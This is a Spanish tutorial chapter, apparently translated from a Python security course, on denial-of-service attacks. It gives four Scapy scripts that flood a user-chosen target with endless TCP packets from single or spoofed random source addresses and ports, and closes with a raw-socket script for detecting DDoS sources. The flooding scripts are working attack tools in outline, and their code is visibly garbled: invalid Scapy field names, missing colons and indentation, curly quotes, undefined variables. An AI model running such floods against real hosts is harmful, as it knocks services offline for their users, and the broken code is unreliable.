Ataque DoS y DDoS
En este capítulo, aprenderemos sobre el ataque DoS y DdoS y entenderemos cómo detectarlos.
Con el auge de la industria del comercio electrónico, el servidor web ahora es propenso a los ataques y es un objetivo fácil para los piratas informáticos. Los piratas informáticos suelen intentar dos tipos de ataque:
- DoS (denegación de servicio)
- DDoS (denegación de servicio distribuida)
Ataque DoS (denegación de servicio)
El ataque de denegación de servicio (DoS) es un intento de los piratas informáticos de hacer que un recurso de red no esté disponible. Suele interrumpir el host, temporal o indefinidamente, que está conectado a Internet. Estos ataques suelen tener como objetivo servicios alojados en servidores web de misión crítica, como bancos, pasarelas de pago con tarjeta de crédito.
Síntomas del ataque DoS
Rendimiento de red inusualmente lento.
No disponibilidad de un sitio web en particular.
Incapacidad para acceder a cualquier sitio web.
Incremento dramático en la cantidad de correos electrónicos no deseados recibidos.
Denegación a largo plazo de acceso a la web o cualquier servicio de Internet.
No disponibilidad de un sitio web en particular.
Tipos de ataque DoS y su implementación de Python
El ataque DoS se puede implementar en el enlace de datos, la red o la capa de aplicación. Conozcamos ahora los diferentes tipos de ataques DoS &; su implementación en Python -
Puerto único de IP única
Una gran cantidad de paquetes se envían al servidor web utilizando una única IP y un único número de puerto. Es un ataque de bajo nivel que se utiliza para comprobar el comportamiento del servidor web. Su implementación en Python se puede realizar con la ayuda de Scapy. El siguiente script de Python ayudará a implementar el ataque DoS de puerto único de IP única:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
Tras la ejecución, el script anterior solicitará las siguientes tres cosas:
Dirección IP de origen y destino.
Dirección IP del número de puerto de origen.
Luego enviará una gran cantidad de paquetes al servidor para verificar su comportamiento.
Puerto múltiple de IP única
Una gran cantidad de paquetes se envían al servidor web utilizando una única IP y desde múltiples puertos. Su implementación en Python se puede realizar con la ayuda de Scapy. El siguiente script de Python ayudará a implementar el ataque DoS de puerto múltiple de IP única:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt, inter = .001)
print ("packet sent ", i)
i = i + 1
Puerto único de IP múltiple
Una gran cantidad de paquetes se envían al servidor web utilizando múltiples IP y desde un solo número de puerto. Su implementación en Python se puede realizar con la ayuda de Scapy. El siguiente script de Python implementa un ataque DoS de puerto múltiple de IP única:
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
Puerto múltiple IP múltiple
Una gran cantidad de paquetes se envían al servidor web utilizando varias direcciones IP y desde varios puertos. Su implementación en Python se puede realizar con la ayuda de Scapy. La siguiente secuencia de comandos de Python ayuda a implementar el ataque DoS de múltiples puertos IP múltiples:
Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = “.”
Source_ip = a + dot + b + dot + c + dot + d
for source_port in range(1, 65535)
IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1 = TCP(srcport = source_port, dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent ", i)
i = i + 1
Ataque DDoS (denegación de servicio distribuida)
Un ataque de denegación de servicio distribuido (DDoS) es un intento de hacer que un servicio en línea o un sitio web no esté disponible al sobrecargarlo con grandes inundaciones de tráfico generado desde múltiples fuentes.
A diferencia de un ataque de denegación de servicio (DoS), en el que se usa una computadora y una conexión a Internet para inundar un recurso específico con paquetes, un ataque DDoS usa muchas computadoras y muchas conexiones a Internet, a menudo distribuidas globalmente en lo que se conoce como botnet . Un ataque DDoS volumétrico a gran escala puede generar un tráfico medido en decenas de Gigabits (e incluso cientos de Gigabits) por segundo. Puede leerse en detalle en.
Detección de DDoS usando Python
En realidad, el ataque DDoS es un poco difícil de detectar porque no sabe que el host que envía el tráfico es falso o real. La secuencia de comandos de Python que se proporciona a continuación ayudará a detectar el ataque DDoS.
Para empezar, importemos las bibliotecas necesarias:
import socket
import struct
from datetime import datetime
Ahora, crearemos un socket como lo hemos creado en secciones anteriores también.
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
Usaremos un diccionario vacío -
dict = {}
La siguiente línea de código abrirá un archivo de texto, con los detalles del ataque DDoS en modo adjunto.
file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())
Con la ayuda de la siguiente línea de código, la hora actual se escribirá siempre que se ejecute el programa.
file_txt.writelines(t1)
file_txt.writelines("\n")
Ahora, debemos asumir los hits de una IP en particular. Aquí asumimos que si una IP en particular golpea más de 15 veces, sería un ataque.
No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
while True:
pkt = s.recvfrom(2048)
ipheader = pkt[0][14:34]
ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
IP = socket.inet_ntoa(ip_hdr[3])
print "The Source of the IP is:", IP
La siguiente línea de código comprobará si la IP existe en el diccionario o no. Si existe, lo aumentará en 1.
if dict.has_key(IP):
dict[IP] = dict[IP]+1
print dict[IP]
La siguiente línea de código se utiliza para eliminar la redundancia.
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
line = "DDOS attack is Detected: "
file_txt.writelines(line)
file_txt.writelines(IP)
file_txt.writelines("\n")
else:
dict[IP] = 1
Después de ejecutar el script anterior, obtendremos el resultado en un archivo de texto. Según el script, si una IP golpea más de 15 veces, se imprimirá cuando se detecte un ataque DDoS junto con esa dirección IP.